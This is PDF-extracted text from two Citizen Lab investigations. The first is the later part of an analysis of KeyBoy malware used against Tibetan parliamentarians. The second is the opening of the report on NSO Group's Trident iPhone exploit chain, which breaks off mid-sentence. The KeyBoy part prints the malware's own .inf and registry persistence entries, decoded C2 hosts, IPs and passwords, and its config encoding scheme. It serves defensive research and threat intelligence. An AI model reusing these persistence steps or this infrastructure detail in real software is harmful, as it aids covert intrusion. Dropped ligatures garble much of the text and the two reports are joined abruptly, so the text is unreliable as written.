+$shell$ +11/25 +leManager$ +leDownload$ +leUpload$ +Table 5: Header codes used by KeyBoy during C2 communication +In addition, modifying these codes produced a downstream change in the appearance of the network +communication tra +c produced by an active KeyBoy infection. This change would likely have rendered existing +network based signatures ine +ective. +guration File Changes +Another major change we +rst observed in version P_20150313 is the complete redesign of the algorithm used to +encode the KeyBoy con +guration +le. In the 2013 samples described by Rapid7, this con +guration +le was encoded +using a simpli +ed static-key based algorithm. This newer encoding algorithm is signi +cantly more involved, removing +the use of a static encryption key in favour of a dynamically constructed lookup table. We provide a detailed +explanation of this new algorithm in Appendix A. +Persistence Changes +The method used by the implant for maintaining persistence was also changed several times. The earlier versions +used a Windows service to ensure the malware stayed persistent, moving to a more commonly seen tactic of setting +the Run key in the Windows registry in the early 2015 sample. This method changed again in late 2015 when the +implant migrated from the Run key to using a less frequently observed registry key: Winlogon\Shell. This key +stores the list of executables which are to be run once a Windows GUI session is created, and typically holds only +the standard user shell, explorer.exe. +String Obfuscation +In another modi +cation, +rst observed in the most recent October 11 Parliamentarian operation (version +agewkassif), the developer(s) of KeyBoy began using a string obfuscation routine in order to hide many of the +critical values referenced within the malware. This introduction of string obfuscation also suggests a development +change aimed at evading detection. The header codes, +lename references, and all of the operator commands were +obfuscated and only decoded during execution of the KeyBoy DLL. Figure 6 shows a sampling of these strings, +after decoding. +Evidence of Modularity +Finally, there were numerous changes observed that could suggest that KeyBoy was being deployed using a +modular or component based mechanism. The GetUp export which is linked to the browser credential theft +capability seems to be present in some samples and not others, even for versions within the same development +stage. As well, the inconsistent use of a dropper binary during infection is further evidence supporting the modular +component theory. +Additional Details +12/25 +Beyond the main modi +cations outlined above, numerous smaller changes were also observed, many of which are +described in Table 6 below. +Version +Key Changes +Identi +Proxy +20130401 +Persistence handled via Windows service +One sample contained the +GetUP + export, the other did not +Used full word header codes encapsulated by $ symbols, such as $login$ +P_20150313 +Adopts new algorithm for con +le encoding +Retained browser credential theft module +Moved to persistence via Run key +Header codes shift to #-encapsulation +Deployed without use of dropper binary +20151108 +Continues use of new con +g encoding algorithm +Migrated to use of WinLogon key for persistence +Installation now conducted via VBS scripts +Adopted multi-byte strings internally and in C2 communication +Header codes move to *-encapsulation +Figure 6: Header code and command strings after being decoded at run-time +64 bit version distributed inside 32 bit payload +No evidence of browser credential module +Deployed using dropper binary +20160509 +Continues use of new con +g encoding algorithm +Added AutoUpdate/Upload & Execute function +Deployed using dropper binary +Header codes retain *-encapsulation, new +keep-alive + code, *l* +Execution via DLL search-order hijacking of legitimate Windows application +VBS script traces still present, but no longer used +No 64bit version embedded +13/25 +agewkassif +Functionally identical to 20160509 sample +Continues use of new con +g encoding algorithm +Removed date string from version identi +Added static string obfuscation code. Strings used for C2 commands, header codes, and +more are now decoded at runtime +Table 6: Changes observed between successive versions of KeyBoy +Additional technical details relating to several of the KeyBoy samples described in this section are provided in +Appendix B. +Connecting KeyBoy to Other Operations +In their Operation Tropic Trooper report, Trend Micro documented the behaviour and functionality of an espionage +toolkit with several design similarities to those observed in the various components of KeyBoy. Trend Micro +speci +cally noted that the 2013 versions of KeyBoy used the same algorithm for encoding their con +guration +les as +was observed in the Operation Tropic Trooper malware. +This connection may o +er another explanation for the signi +cant change in the con +guration +le encoding algorithm +we described in relation to KeyBoy. If KeyBoy is a single component of a larger espionage toolkit, the developers +may have realized that this older, static-key based, con +guration encoding algorithm was inadvertently providing a +link between disparate components of their malware suite. +A Note on Samples +We were not able to locate a large sample set for KeyBoy. Though we discussed the development timeline, we have +limited insight into the victims targeted by each of these samples. We cannot conclude that all are being deployed +by the same group. We provide YARA signatures and encourage anyone who can provide additional samples or +context to contact us. +Recent Tibetan Protests +The harm of malware operations against the Tibetan community is well-documented, and this latest campaign is no +exception. Examining the lure content sent to the Tibetan Parliamentarians sheds light on the oppression faced by +the Tibetan community. On October 19, over 180 Tibetan groups protested the ongoing demolitions of the Larung +Gar Buddhist Academy, the largest Tibetan Buddhist institute in the world. +The demolitions stem from an order issued by Chinese authorities in June 2016, according to a joint statement +issued by Tibet groups on the date of protest. According to the same joint statement, the order from Chinese +authorities said the community was in need of +ideological guidance + from the Chinese state. In conjunction with the +demolitions, residents are being forcefully removed from Larung Gar. To date, the forced removals have led to to the +suicide of three resident nuns. +The Communist Party of China views the Tibetan movement as a threat to its rule, alongside Uyghur, Falun Gong, +advocates for an independent Taiwan and Hong Kong, and members of the democracy movement. Surveilling the +highest governing body of the Central Tibetan Administration aligns with the overall interests of the government of +China. However, connecting the malware development ecosystem and the +ow of stolen information to a state-actor +14/25 +is an elusive task. With the data available we are unable to conclusively connect the Parliamentarian Operation to +any speci +c actor or nation-state. +Conclusions +Recent Citizen Lab reports have documented a trend away from the use of attachment-based malware operations +targeting the Tibetan Diaspora. These changes may re +ect malware operators shifting tactics in response to +changes in the community, including education campaigns encouraging Tibetans not to use email attachments, or +perhaps also by more sophisticated attachment scanning by popular email providers. +The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the +form of documents bearing exploits. These exploits, while older, were used to deliver a malware payload which +shows signs of a systematic technical adaptation designed to reduce the likelihood of signature based detection. +The developers of KeyBoy have made the minimum necessary technical changes required to avoid detection by +signature-based antivirus, and yet retained + exploits because they likely continue to work their targets. +For a community lacking an adequate level of human and +nancial resources, deployment of commercial (i.e.: nonfree) antivirus solutions, updated releases of common o +ce productivity software, and even software patches may +be out of reach. Under such conditions, the use of exploits against older, patched, vulnerabilities becomes yet +another iteration of an actor using +just enough + sophistication to successfully exploit a target. +The operation against the Parliamentarians yields a clear example of this tactic. When the August operation failed to +fully compromise the target group, the operators redeployed in October using a slightly newer, but still well-known +and patched, exploit. +As we observe the evolution of strategies levied against the Tibetan Diaspora, the constant cat-and-mouse game +embroiling this community becomes evident. While some behavioural adaptations have shown promise in reducing +the threat, the operation against the Tibetan Parliament underscores the need for continued diligence and security +awareness. +Acknowledgments +Special thanks to Tibet Action Institute. Additional thanks to Jakub Dalek, PassiveTotal, VirusTotal, and TNG. +Appendix A: Decoding KeyBoy Con +Recent versions of KeyBoy maintain encoded con +guration data inside a +le stored on disk. In the 20160509 +sample used in the Tibetan Parliament campaign, this +le was named wab32res.dat. The con +guration +contains a 16 byte header followed by a number of bytes which are encoded using a novel algorithm. The 16 byte +header stores an ascii character representation of the hexadecimal values corresponding to the size (in bytes) of the +decoded con +g data, followed by the number of bytes containing encoded con +guration data. +The sample under examination contained the following header, and Figure 7 shows the raw con +guration +Size of con +g (in bytes) once decoded +Number of bytes in encoded con +0x00 0x00 0x00 0x5B +0x00 0x00 0x00 0x4B +15/25 +The con +guration +le used by this malware is encoded using what appears to be a custom schema. While some +Figure 7: Con +guration +le for sample under examination +earlier versions of this backdoor used more simpli +ed encoding techniques for the con +guration data, newer +versions have adopted a more involved algorithm. +At the heart of the decoding function is the use of a dynamically constructed lookup table containing sequences of +bytes which represent the ASCII characters for the cleartext con +guration data. +At the outset of the decoding function, a base lookup table is created +containing 256 entries. This initial table can be thought of as an identity +matrix, where, for each index, the lookup table contains the index as +the stored value (see: Figure 8). For example: +LookupTable[0x0] +LookupTable[0x1] +LookupTable[0xFF] +0xFF +During the decoding of the con +guration +le, this table is expanded +dynamically. Each iteration of the algorithm will populate the lookup +table sequentially, beginning with index 0x102 (since the table index +0x101 is reserved). +Figure 8: Construction of the base lookup table +Algorithm Walkthrough +The algorithm has three basic steps: +1. Obtain an index by decoding a value from the con +guration +2. Find the value in the lookup table corresponding to this index, and place this result in the memory bu +holding decoded con +guration data +3. Generate a new value and insert it into the lookup table at the next available index +Step 1 +This step requires the algorithm to obtain an index value from the con +guration +le. In order to obtain this index, a +decoding function evaluates the data in the con +guration +le not as successive bytes, but as a series of integers +calculated by considering consecutive sequences of 9-bit binary values. +Figure 9 provides a visual representation of this process. We can see that the +rst few indices being calculated by +16/25 +this decoder are hexadecimal values 0x100, 0x39, 0x38, and 0x37. The +rst value, 0x100, is a +marker + which +denotes the beginning of the con +guration data. The values 0x39, 0x38, and 0x37 are the +rst three indices used to +obtain data from the lookup table. +Figure 9: Step 1 in KeyBoy decoding algorithm. Indices are obtained by viewing the data in 9-bit +windows +Step 2 +As mentioned above, the +rst 256 entries in the lookup table are created as an identity matrix, and thus the result of +lookups for 0x39,0x38,0x37 would be: +LookupTable[ 0x39 ] = 0x39 => +(ascii) +LookupTable[ 0x38 ] = 0x38 => +(ascii) +LookupTable[ 0x37 ] = 0x37 => +(ascii) +These values are then stored in memory as decoded bytes of con +guration data. +Step 3 +After each iteration of calculating an index (step 1) and then obtaining the corresponding value from the lookup table +(step 2), the algorithm will create a new entry in the lookup table at the next available index. The format of this new +lookup table entry is simply the concatenation of the results of the previous lookup with the +rst byte of the current +lookup (see: Figure 10). +17/25 +So, again using the same example bytes along with Figures 9 and 10 above, if the current iteration of the algorithm +Figure 10: Steps 2 & 3 in the KeyBoy con +guration decoding algorithm +decoded the value 0x34 in step 1, and thus retrieved the value 0x34 = + in step 2, the newly formed lookup table +entry would be: +LookupTable[ 0x106 ] = [0x35,0x34] => +Thus, if at some future point in the decoding process the index 0x106 was obtained in step 1, the output to the +guration data would be the two bytes [0x35,0x34] which have ascii representation +. This provides a method +of data compression to the con +guration +A Python script was created for the purpose of automating this con +guration +le decoding process. The output of +this script when run against the con +guration +le used by the +rst of the two Parliamentarian operation samples +yielded the following data: +18/25 +Identity Code: 9876543210 +C2 Host/IP #1: 45.125.12.147 +C2 Host/IP #2: +103.40.102.233 +C2 Host/IP #3: 45.125.12.147 +C2 Port #1: 443 +C2 Port #2: 443 +C2 Port #3: 443 +Password: tibetwoman +Campaign ID: NNNN +Appendix B: KeyBoy Samples +Version: P_20150313 +Exploit Document: 05b5cf94f07fee666eb086c91182ad25 +Payload: 0c7e55509e0b6d4277b3facf864af018 +DLL Exports +Embedding 0x1000bfb0 +GetUP 0x1000c940 +SSSS 0x1000bc60 +StartWork 0x1000c570 +SvcMain 0x1000c430 +Installation +This sample was discovered inside a malicious PowerPoint slide show which carried lure content consistent with an +Indian-nexus, and which was uploaded to VirusTotal in April 2015 using the +lename athirappalli.pps. +Athirappilly is a village in India known for its wildlife and waterfalls. The visual contents of the slide show are images +of waterfalls, presumably from this village. This malicious .pps +le was weaponized using (closely related to CVE2014-4114 aka Sandworm, which we have previously observed this exploit used against the Tibetan community) to +execute the following embedded DLL: +Name: SystemCertificates.ocx +495616 +Size: bytes +13 Mar 2015 03:05:34 +Compile Time: UTC +MD5: 0c7e55509e0b6d4277b3facf864af018 +SHA256: 5395f709ef1ca64c57be367f9795b66b5775b6e73f57089386a85925cc0ec596 +Persistence +This DLL maintains persistence by setting the following registry entry in the +HKCU\Software\Microsoft\Windows\CurrentVersion\Run key: SystemCertificates + "cmd /c +start +dll32.exe %APPDATA%\Microsoft\SystemCertificates\SystemCertificates.ocx, +Run SSSS +This registry key is set via the Sandworm exploit, as the execution of an .inf +le containing the following +19/25 +instructions are triggered: +[DefaultInstall] +CopyFiles = +RxCopy +AddReg = RxStart +[RxCopy] +..\..\Roaming\Microsoft\SystemCertificates\SystemCertificates.ocx, contact.pdf +[RxStart] +HKCU,Software\Microsoft\Windows\CurrentVersion\Run,SystemCertificates,,"cmd /c start +Rundll32.exe %APPDATA%\Microsoft\SystemCertificates\SystemCertificates.ocx, SSSS" +In comparison with the prior generation of KeyBoy examined by Rapid7, this mechanism represents a change to +registry based persistence from the previously used Windows service. +guration +Using the algorithm presented in Appendix A, we were able to decode the con +guration +le used by this sample. +Once decoded, the following information was obtained: +Identity Code: IJUDHSDJFKJDE +C2 Host/IP #1: www.about.jkub[.]com +C2 Host/IP #2: +www.eleven.mypop3[.]org +C2 Host/IP #3: +www.backus.myftp[.]name +C2 Port #1:80 +C2 Port #2:80 +C2 Port #3:443 +Password:wariii +Campaign ID:war +Infrastructure +C2 Host: www.about.jkub[.]com +Host +Desc: Dynamic DNS provided by changeip.com +First Seen: +Last Seen: +175.213.49[.]6 2016-10-25 +Current as of publication +45.32.47[.]148 2016-09-26 +2016-10-24 +157.7.84[.]81 +2015-04-21 +2015-04-07 +20/25 +C2 Host: www.eleven.mypop3[.]org +Host +Desc: Dynamic DNS provided by changeip.com +First Seen: +Last Seen: +175.213.49[.]6 2016-10-25 +Current as of publication +45.32.47[.]148 2016-09-26 +2016-10-24 +C2 Host: www.backus.myftp[.]name +Desc: Dynamic DNS +Host +First Seen: +Last Seen: +192.241.149[.]43 +2015-05-05 +Current as of publication +Version: 20151108 +Exploit Document: 8846d109b457a2ee44ddbf54d1cf7944 +Dropper: 8846d109b457a2ee44ddbf54d1cf7944 +Payload: c5b5f01ba24d6c02636388809f44472e +Embedded 64bit: 371bc132499f455f06fa80696db0df27 +Payload DLL Exports +Install 0x100085a0 +SSSS 0x100081e0 +StartWork 0x100086a0 +SvcMain 0x10008fb0 +cfsUpdate 0x10008cb0 +Installation +This .rtf document, also exploiting CVE-2012-0158, was submitted to VirusTotal in March 2016. The exploit +triggers the execution of an embedded dropper, similar to the method observed in our initial sample described in +Part 1. +This dropper creates three +les on disk, each in the %localappdata% folder: +1. cfs.dat + KeyBoy con +guration +2. cfsupdate.dal + KeyBoy payload DLL +3. desk.vbs + Windows script used for installation +The Windows script +le, desk.vbs, contained the following content: +21/25 +The dropper executes this script +le which subsequently launches the KeyBoy backdoor and sets persistence as +described below. +Also noteworthy in this sample was the fact that this payload inspected the architecture of the victim PC to +determine if it was 64 bit capable. If so, a 64 bit version of the payload was decoded from the data section of the +cfsupdate.dat +le using an XOR operation having key 0x90. This is very similar to the method described by Trend +Micro in their report on the TROJ_YAHOYAH malware. +Interestingly, the 64-bit module was packed using a known freeware binary packer. This is in contrast to the 32-bit +versions of KeyBoy, none of which contained any binary protections whatsoever. Upon unpacking, the 64-bit version +of this KeyBoy code was functionally identical to the 32-bit version. +Leftover Code +Further illustrating the continued development and connections between samples are the leftover remnants from +20151108 existing in the 20160509 Parliamentarian sample. The Parliamentarian dropper contained references to +the Desk.vbs script described above, yet this +le and related content was not deployed or otherwise used in the +20160509 version. +Persistence +Persistence is achieved through the WinLogon\Shell registry key, and is installed by the dropper +s execution of the +Install export from the KeyBoy DLL. This export creates the +le %localappdata%\Desktop.ini as shown below, +and installs it by launching the Windows regini.exe command: +HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon +shell = explorer.exe,C:\Windows\system32\rundll32.exe "%LOCALAPPDATA%\cfs.dal" +cfsUpdate +guration +The con +guration +le used by this version of KeyBoy is written to disk as %localappdata%\cfs.dat by the +dropper, similar to the behaviour of our 20160509 sample. This con +guration +le uses the newer encoding method +outlined above and in Appendix A. Once decoded, the following information was obtained: +22/25 +Identity Code: 9876543210 +C2 Host/IP #1: +103.242.134[.]243 +C2 Host/IP #2: +103.242.134[.]243 +C2 Host/IP #3: +103.242.134[.]243 +C2 Port #1: 443 +C2 Port #2: 1234 +C2 Port #3: 1234 +Password: password8888 +Campaign ID: MyUser +Possible Targeting +This malicious document embedded an empty decoy document to hide the exploitation of the vulnerability. We found +however another interesting sample with the exact same payload but with a decoy document presenting a petition to +release a Tibetan activist: +Infrastructure +This sample communicates with the following command and control server: +C2 Host: 103.242.134[.]243 +City: Hanshan +Country: China +Version: 20160509 (alternate) +Exploit Document: beadf21b923600554b0ce54df42e78f5 +Dropper: 0b4d45db323f68b465ae052d3a872068 +23/25 +Payload: 495adb1b9777002ecfe22aaf52fcee93 +Payload DLL Exports +SSSS 0x100080b0 +SvcMain 0x10008b80 +cfsUpdate 0x10008880 +During our research we encountered another sample of the 20160509 version of KeyBoy. This sample was also +found to be deployed using the CVE-2012-0158 vulnerability. The malware payload was identical to our +Parliamentary sample outlined in Part 1, however the con +guration +le in this alternate sample was di +erent. +guration +Identity Code: 9876543210 +C2 Host/IP #1: +116.193.154[.]69 +C2 Host/IP #2: +116.193.154[.]69 +C2 Host/IP #3: +116.193.154[.]69 +C2 Port #1:443 +C2 Port #2:80 +C2 Port #3:443 +Password:8888 +Campaign ID:8888 +Possible Targeting +The exploit document carrying this alternate KeyBoy con +guration also used a decoy document which was +displayed to the user after the exploit launched. This decoy carries content with a Tibetan nexus. +Infrastructure +C2 Host: 116.193.154[.]69 +CNAME: 116-193-15469.pacswitch.net +Appendix D: IOCs and Links +KeyBoy binaries +agewkassif: 087bffa8a570079948310dc9731c5709 +20160509: 495adb1b9777002ecfe22aaf52fcee93 +P_20150313: 0c7e55509e0b6d4277b3facf864af018 +20151108 (32bit): +c5b5f01ba24d6c02636388809f44472e +20151108 (64bit): +371bc132499f455f06fa80696db0df27 +Droppers +24/25 +0b4d45db323f68b465ae052d3a872068 +23d284245e53ae4fe05c517d807ffccf +98977426d544bd145979f65f0322ae30 +Exploit Documents +8307e444cad98b1b59568ad2eba5f201 (used in August Parliamentary campaign) +913b82ff8f090670fc6387e3a7bea12d (used in October Parliamentary +campaign) +05b5cf94f07fee666eb086c91182ad25 +8846d109b457a2ee44ddbf54d1cf7944 +beadf21b923600554b0ce54df42e78f5 +C2 Hosts +www.about.jkub[.]com +www.eleven.mypop3[.]org +www.backus.myftp[.]name +tibetvoices[.]com +103.242.134[.]243 +116.193.154[.]69 +103.40.102[.]233 +45.125.12[.]147 +Resources +Keyboy Network Communication Encoding Details +guration File Decoder +C2 Decoder +YARA Signatures +Indicators of Compromise +25/25 +The Million Dollar Dissident: NSO Group +s iPhone Zero-Days used against a UAE Human Rights +Defender +citizenlab.org /2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ +Authors: Bill Marczak and John Scott-Railton, Senior Researchers at the Citizen Lab, with the assistance of the research team at Lookout Security. +Media coverage: The New York Times, Motherboard, Motherboard (2), Motherboard (3), Motherboard (4), Gizmodo, Wired, Washington Post, The Guardian, ZDNet, CBC Metro Morning +(audio), Associated Press (video), Mashable, Foreign Policy, Reuters, CPJ, Quartz, Ars Technica, Wall Street Journal (1), Wall Street Journal (2), BBC News, BBC News (2), The +Independent, TechCrunch, CBC News (1), CBC News (2), Telegraph, Business Insider (1), Business Insider (2), Al Jazeera, South China Morning Post , SC Magazine, ABC Australia, The +Next Web, Russia Today, Xinhua, The Journal Ireland, The Australian, International Business Times, Buzz Feed News, Computerworld, Threatpost, USA Today , CNET, Financial Times, +PCMag, Newsweek, Huffington Post (1), Huffington Post (2) Techdirt, Engadget, Forbes, The Daily Dot, IT World Canada, Global News, BNN, ITnews, Techmoran, YourMiddleEast, +TechRepublic, Macworld, Bloomberg. +Read Citizen Lab Director Ron Deibert +s blog post on this report. +Update (Sept 1, 2016): Today Apple released security updates for Desktop Safari and Mac OS X. These updates patch the Trident vulnerabilities that identified in this report for desktop +users. The Trident vulnerabilities used by NSO could have been weaponized against users of non iOS devices, including OSX.We encourage all Apple users to install the update as +soon as possible. Citizen Lab is not releasing samples of the attack at this time to protect the integrity of still-ongoing investigations. +This report describes how a government targeted an internationally recognized human rights defender, Ahmed Mansoor, with the Trident, a chain of zero-day exploits designed to infect his +iPhone with sophisticated commercial spyware. +1. Executive Summary +Ahmed Mansoor is an internationally recognized human rights defender, based in the United Arab Emirates (UAE), and recipient of the Martin Ennals Award (sometimes referred to as a +Nobel Prize for human rights +). On August 10 and 11, 2016, Mansoor received SMS text messages on his iPhone promising +new secrets + about detainees tortured in UAE jails if he +clicked on an included link. Instead of clicking, Mansoor sent the messages to Citizen Lab researchers. We recognized the links as belonging to an exploit infrastructure connected to +NSO Group, an Israel-based +cyber war + company that sells Pegasus, a government-exclusive +lawful intercept + spyware product. NSO Group is reportedly owned by an American +venture capital firm, Francisco Partners Management. +The ensuing investigation, a collaboration between researchers from Citizen Lab and from Lookout Security, determined that the links led to a chain of zero-day exploits ( +zero-days +) that +would have remotely jailbroken Mansoor +s stock iPhone 6 and installed sophisticated spyware. We are calling this exploit chain Trident. Once infected, Mansoor +s phone would have +become a digital spy in his pocket, capable of employing his iPhone +s camera and microphone to snoop on activity in the vicinity of the device, recording his WhatsApp and Viber calls, +logging messages sent in mobile chat apps, and tracking his movements. +We are not aware of any previous instance of an iPhone remote jailbreak used in the wild as part of a targeted attack campaign, making this a rare find. +The Trident Exploit Chain: +CVE-2016-4657: Visiting a maliciously crafted website may lead to arbitrary code execution +CVE-2016-4655: An application may be able to disclose kernel memory +CVE-2016-4656: An application may be able to execute arbitrary code with kernel privileges +Once we confirmed the presence of what appeared to be iOS zero-days, Citizen Lab and Lookout quickly initiated a responsible disclosure process by notifying Apple and sharing our +findings. Apple responded promptly, and notified us that they would be addressing the vulnerabilities. We are releasing this report to coincide with the availability of the iOS 9.3.5 patch, +which blocks the Trident exploit chain by closing the vulnerabilities that NSO Group appears to have exploited and sold to remotely compromise iPhones. +Recent Citizen Lab research has shown that many state-sponsored spyware campaigns against civil society groups and human rights defenders use + just enough + technical +sophistication, coupled with carefully planned deception. This case demonstrates that not all threats follow this pattern. The iPhone has a well-deserved reputation for security. As the +iPhone platform is tightly controlled by Apple, technically sophisticated exploits are often required to enable the remote installation and operation of iPhone monitoring tools. These exploits +are rare and expensive. Firms that specialize in acquiring zero-days often pay handsomely for iPhone exploits. One such firm, Zerodium, acquired an exploit chain similar to the Trident for +one million dollars in November 2015. +The high cost of iPhone zero-days, the apparent use of NSO Group +s government-exclusive Pegasus product, and prior known targeting of Mansoor by the UAE government provide +indicators that point to the UAE government as the likely operator behind the targeting. +Remarkably, this case marks the third commercial +lawful intercept + spyware suite employed in attempts to compromise Mansoor. In 2011, he was targeted with FinFisher +s FinSpy +spyware, and in 2012 he was targeted with Hacking Team +s Remote Control System. Both Hacking Team and FinFisher have been the object of several years of revelations highlighting +the misuse of spyware to compromise civil society groups, journalists, and human rights workers. +1/14 +Figure 1: Ahmed Mansoor, the +Million Dollar Dissident. +The attack on Mansoor is further evidence that +lawful intercept + spyware has significant abuse potential, and that some governments cannot resist the temptation to use such tools +against political opponents, journalists, and human rights defenders. Our findings also highlight the continuing lack of effective human rights policies and due diligence at spyware +companies, and the continuing lack of incentives to address abuses of +lawful intercept + spyware. +Our report proceeds as follows: +Section 2 provides an overview of the attack against Ahmed Mansoor. +Section 3 details NSO Group +s tradecraft, gleaned from what appears to be a copy of NSO Group documentation leaked in the Hacking Team emails. +Section 4 summarizes our technical analysis of the attack against Mansoor (in collaboration with Lookout). +Section 5 describes how we found what appears to be the NSO Group +s mobile attack infrastructure while working on our previous Stealth Falcon report. +Section 6 links the spyware used in the attack on Mansoor to NSO Group. +Section 7 outlines evidence of other individuals targeted with the infrastructure that we linked to NSO Group, including Mexican journalist Rafael Cabrera. +Section 8 explains how the attack on Mansoor fits into the context of ongoing attacks on UAE dissidents. +Section 9 concludes the report. +2. Ahmed Mansoor Targeted With iPhone Zero-Day +Ahmed Mansoor is an internationally recognized human rights defender, blogger, and member of Human Rights Watch +s advisory committee. Mansoor, who is based in the UAE, was +jailed for eight months in 2011 along with four other activists for supporting a pro-democracy petition. After he was released, Mansoor +s passport was confiscated, his car was stolen, and +$140,000 disappeared from his bank account. Mansoor is banned from traveling overseas, and his work continues to attract significant harassment and punishment +On the morning of August 10, 2016, Mansoor received an SMS text message that appeared suspicious. The next day he received a second, similar text. The messages promised +secrets + about detainees tortured in UAE prisons, and contained a hyperlink to an unfamiliar website. The messages arrived on Mansoor +s stock iPhone 6 running iOS 9.3.3. +2/14 +Figure 2: Ahmed Mansoor received suspicious text messages in August 2016. Credit: Martin Ennals Foundation. +Mansoor quickly forwarded the messages to Citizen Lab researchers for investigation. He has good reason to be concerned about unsolicited messages: every year since 2011, Mansoor +has been targeted with spyware attacks, including with FinFisher spyware in 2011 and Hacking Team spyware in 2012 (see Section 8: Ahmed Mansoor and Previous UAE Attacks ). +Figure 3: SMS text messages received by Mansoor (English: +New secrets about torture of Emiratis in state prisons +The sender +s phone numbers are spoofed. +When Mansoor +s messages reached us, we recognized the links: the domain name webadv.co belongs to a network of +domains that we believe to be part of an exploit infrastructure provided by the spyware company NSO Group (see Section 6: +Linking NSO Group Products to the Attack on Mansoor). We had first come across the NSO Group infrastructure during +the course of our earlier research into Stealth Falcon, a UAE-based threat actor (see Section 5: Tracking a Mobile Attack +Infrastructure). +When we first found the infrastructure and connected it to NSO Group, we hypothesized that operators of the NSO Group +spyware would target a user by sending them an infection link containing one of the exploit infrastructure domain names. +Though we had previously found several public occurrences of links involving these domains on Twitter (see Section 7: +Evidence of Other Targets), none of the links we found seemed to be active (i.e., none produced an infection when we tested +them). In other exploit infrastructures with which we are familiar (e.g., Hacking Team +s exploit infrastructure), we had noted that +operators prefer to deactivate such links after a single click, or after a short period of time, perhaps in order to prevent the +disclosure of the exploit to security researchers. +We accessed the link Mansoor provided us on our own stock factory-reset iPhone 5 (Mansoor had an iPhone 6) with iOS 9.3.3 +(the same version as Mansoor). When we clicked the link, we saw that it was indeed active, and watched as unknown +software was remotely implanted on our phone. This suggested that the link contained a zero-day iPhone remote jailbreak: a +chain of heretofore unknown exploits used to remotely circumvent iPhone security measures. To verify our observations, we +shared our findings with Lookout Security. Both research teams determined that Mansoor was targeted with a zero-day iPhone +remote jailbreak. The chain of exploits, which we are calling the Trident, included the following (see Section 4: The Trident iOS +Exploit Chain and Payload for more details): +CVE-2016-4657: An exploit for WebKit, which allows execution of the initial shellcode +CVE-2016-4655: A Kernel Address Space Layout Randomization (KASLR) bypass exploit to find the base address of the +kernel +CVE-2016-4656: 32 and 64 bit iOS kernel exploits that allow execution of code in the kernel, used to jailbreak the phone +and allow software installation +The implant installed by the Trident exploit chain would have turned Mansoor +s iPhone into a digital spy in his pocket. The +spyware, which appears to be NSO +s Pegasus spyware solution, was capable of employing his iPhone +s camera and +microphone to eavesdrop on activity in the vicinity of the device, recording his WhatsApp and Viber calls, logging messages +sent in mobile chat apps, and tracking his movements. +3. NSO Group and the Pegasus Solution +The attack on Mansoor appears to have used Pegasus, a remote monitoring solution sold by NSO Group Technologies Ltd (see Section 6: Linking NSO Group Products to the Attack +on Mansoor). NSO Group, based in Herzelia, Israel (CR# 514395409), develops and sells mobile phone surveillance software to governments around the world. The company +describes itself as a +leader + in +mobile and cellular Cyber Warfare, + and has been operating for more than six years since its founding in 2010. +NSO Group appears to be owned by a private equity firm with headquarters in San Francisco: Francisco Partners Management LLC , which reportedly acquired it in 2014 after approval +from the Israeli Defense Ministry. However, as of November 2015, Francisco Partners was reportedly exploring selling NSO Group, with a stated valuation of up to $1 billion. Interestingly, +Francisco Partners previously invested in Blue Coat, a company selling network filtering and monitoring solutions, whose technology has been used by repressive regimes according to +previous Citizen Lab research. +3/14 +Figure 4: Image from an NSO Group brochure posted on SIBAT (The International Defense Cooperation Directorate of the Israel Ministry of Defense). +NSO Group has largely avoided the kind of high profile media attention that companies like Hacking Team and FinFisher have sometimes courted. The company maintains no website, +there is little concrete information about NSO Group +s Pegasus product available online, and we know of no prior technical analysis of NSO Group +s products or infrastructure. +Some previous media reports have linked NSO Group and Pegasus to a scandal involving potential illegal eavesdropping in Panama, and possible sales to Mexico. Other reports have +suggested that NSO Group +s activities have aroused concern within the United States intelligence community . +Two of NSO Group +s three co-founders, Shalev Hulio and Omri Lavie, are also co-founders of mobile security company Kaymera, which promises a +Multi Layered Cyber Defense +Approach + to clients. On Kaymera +s website, the company reprints a Bloomberg article pointing out that they +play both sides of the cyber wars. + The article also quotes NSO Group +CEO, who suggests that they entered the defense business when potential clients saw the capabilities of NSO Group +s tools. +Figure 5: Kaymera +s website promises comprehensive mobile security +3.1. Pegasus Documents in Hacking Team Leak +Much of the publicly available information about Pegasus seems to be rumor, conjecture, or unverifiable claims made to media about capabilities. However, when we examined the +Hacking Team emails leaked online after a 2015 breach, we found several instances of Hacking Team clients or resellers sharing what appeared to be NSO Group +s product +documentation and sales pitches. +For instance, in December 2014, a reseller of surveillance technologies to the Mexican government forwarded a PDF document containing detailed technical specifications of NSO +Group +s Pegasus system to Hacking Team. According to the document +s metadata, it appears to have been created in December 2013 by Guy Molho, who is listed on LinkedIn as the +Director of Product Management at NSO Group. +3.2. Device Infection +According to the purported 2013 NSO Group Pegasus documentation found in the Hacking Team materials, NSO Group offers two remote installation vectors for spyware onto a target +device: a zero-click vector, and a one-click vector. The one-click vector involves sending the target a normal SMS text message with a link to a malicious website. The malicious website +contains an exploit for the web browser on the target +s device, and any other required exploits to implant the spyware. In the attack against Mansoor, the Trident exploit chain was used. +To use NSO Group +s zero-click vector, an operator instead sends the same link via a special type of SMS message, like a WAP Push Service Loading (SL) message. A WAP Push SL +message causes a phone to automatically open a link in a web browser instance, eliminating the need for a user to click on the link to become infected. Many newer models of phones +have started ignoring or restricting WAP Push messages. Mobile network providers may also decide to block these messages. +4/14 +Figure 6: Diagram from purported NSO Group Pegasus documentation showing the sequence through which the spyware ( +Agent +) is installed on a target +s mobile device. +Source: Hacking Team Emails. +The documentation refers to a malicious website employed in installation of the spyware ( +Agent +) as an Anonymizer, which communicates with a Pegasus Installation Server located +on the operator +s premises. When a target visits a malicious link from their device, the Anonymizer forwards the request to the Pegasus Installation Server, which examines the target +device +s User-Agent header to determine if Pegasus has an exploit chain, such as the Trident, that supports the device. +If the device is supported, the Pegasus Installation Server returns the appropriate exploit to the target device through the Anonymizer and attempts an infection. If infection fails for any +reason, the target +s web browser will redirect to a legitimate website specified by the Pegasus operator, in order to avoid arousing the target +s suspicion. +In the operation targeting Mansoor, the one-click vector was used, with anonymizer sms.webadv.co (see Section 4: The Trident iOS Exploit Chain and Payload for more details). +3.3. Data Collection +According to the purported NSO Group documentation, once successfully implanted on a phone using an exploit chain like the Trident, Pegasus can actively record or passively gather a +variety of different data about the device. By giving full access to the phone +s files, messages, microphone and video camera, the operator is able to turn the device into a silent digital spy +in the target +s pocket. +Figure 7: Diagram from purported NSO Group Pegasus documentation showing the range of information gathered from a device infected with 